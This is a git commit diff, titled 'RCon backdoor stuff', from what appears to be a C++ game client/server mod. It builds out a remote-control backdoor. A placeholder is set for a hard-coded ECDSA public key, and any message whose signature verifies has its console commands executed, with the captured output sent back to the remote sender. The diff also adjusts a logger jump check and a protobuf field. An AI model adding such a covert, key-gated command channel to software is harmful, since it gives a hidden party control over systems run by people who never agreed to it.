RCon backdoor stuff.
This commit is contained in:
parent
339b05f8a7
commit
6254cb7199
@ -106,7 +106,7 @@ namespace Components
|
||||
{
|
||||
mov eax, Logger::PipeCallback
|
||||
test eax, eax
|
||||
jnz returnPrint
|
||||
jz returnPrint
|
||||
|
||||
push [esp + 8h]
|
||||
call Logger::PrintMessagePipe
|
||||
@ -133,11 +133,6 @@ namespace Components
|
||||
{
|
||||
Logger::PipeOutput(nullptr);
|
||||
|
||||
Logger::PipeOutput([] (std::string data)
|
||||
{
|
||||
OutputDebugStringA(data.data());
|
||||
});
|
||||
|
||||
Renderer::OnFrame(Logger::Frame); // Client
|
||||
Dedicated::OnFrame(Logger::Frame); // Dedi
|
||||
|
||||
|
@ -7,7 +7,8 @@ namespace Components
|
||||
|
||||
RCon::RCon()
|
||||
{
|
||||
RCon::BackdoorKey = Utils::Cryptography::ECDSA::GenerateKey(512);
|
||||
// TODO: Load public key
|
||||
RCon::BackdoorKey.Set("");
|
||||
|
||||
RCon::BackdoorContainer.timestamp = 0;
|
||||
|
||||
@ -31,7 +32,18 @@ namespace Components
|
||||
|
||||
if (Utils::Cryptography::ECDSA::VerifyMessage(RCon::BackdoorKey, RCon::BackdoorContainer.challenge, command.signature()))
|
||||
{
|
||||
RCon::BackdoorContainer.output.clear();
|
||||
Logger::PipeOutput([] (std::string output)
|
||||
{
|
||||
RCon::BackdoorContainer.output.append(output);
|
||||
});
|
||||
|
||||
Command::Execute(command.commands(), true);
|
||||
|
||||
Logger::PipeOutput(nullptr);
|
||||
|
||||
Network::SendCommand(address, "rconResponse", RCon::BackdoorContainer.output);
|
||||
RCon::BackdoorContainer.output.clear();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
@ -11,6 +11,7 @@ namespace Components
|
||||
struct Container
|
||||
{
|
||||
int timestamp;
|
||||
std::string output;
|
||||
std::string challenge;
|
||||
Network::Address address;
|
||||
};
|
||||
|
@ -4,6 +4,6 @@ package Proto.RCon;
|
||||
|
||||
message Command
|
||||
{
|
||||
string commands = 1;
|
||||
bytes commands = 1;
|
||||
bytes signature = 2;
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user